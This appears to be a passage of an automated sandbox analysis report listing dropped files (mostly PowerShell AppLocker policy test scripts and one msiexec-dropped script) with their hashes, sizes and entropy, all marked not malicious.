MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_hb4ms2tv.rlm.psm1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_hhmsc55m.v31.psm1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_ho4pdwae.1ty.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_i3hyfmyq.wdr.psm1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_i4vbuwbp.mgm.psm1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_j45gu3sp.r11.ps1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_ksauo2be.gjd.psm1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_ku0bckoe.lui.ps1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_m1jj03z1.txs.psm1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_mc3cno3r.4bj.ps1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_mrxnuqup.fti.ps1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_n3l0w11a.dho.ps1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_o0ezqoyf.vcg.ps1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_ogpswey2.pet.psm1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_oxygsalv.gzl.ps1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_prd3e0b2.lfq.ps1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_rmyifw4u.hnz.psm1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_t1l3t1xg.xfg.psm1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_t1r50ahp.ja0.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_tbnxdih3.xs2.psm1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_tbyb4njy.25c.psm1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_ttkmfdi3.wjf.psm1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_vtap1ukj.b30.ps1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_vzu2boyf.p4z.psm1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_w3u2tnxb.qba.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_waainxaw.eht.ps1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_ww5ibuor.vnq.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_wwi04bbj.mxf.psm1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_xzoiyizp.v3t.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_yjre2wgq.24h.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_zlyekvfr.ntw.psm1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_zoqyjlri.4wd.ps1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\pss1565.ps1

Download File

Process:	C:\Windows\SysWOW64\msiexec.exe
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	4252
Entropy (8bit):	3.5189846797144533
Encrypted:	false
SSDEEP:	96:Gjf6Bw0kODSkODzwTwvFZBRC3qVHtYJGODPFciYeIgk:0foTkcSkcIwvzKmuUcIPp
MD5:	324341FCEDCF381CA7EFF6A381630BB3
SHA1:	9CC912240119A0589AEC40842E33B02BEAF685D5
SHA-256:	2B89290165E87382E1BDFF1316D1D3855A3CFC0442170BE78D60891631A7895B
SHA-512:	A2DF4972263A4926F2C29C809FE067D5DABE487807C3ED26BC3B953072751570A2F18D545A93ED6A642478EC6B7D81B29D2642544761DBA79DDA4186C9DD3C06
Malicious:	false
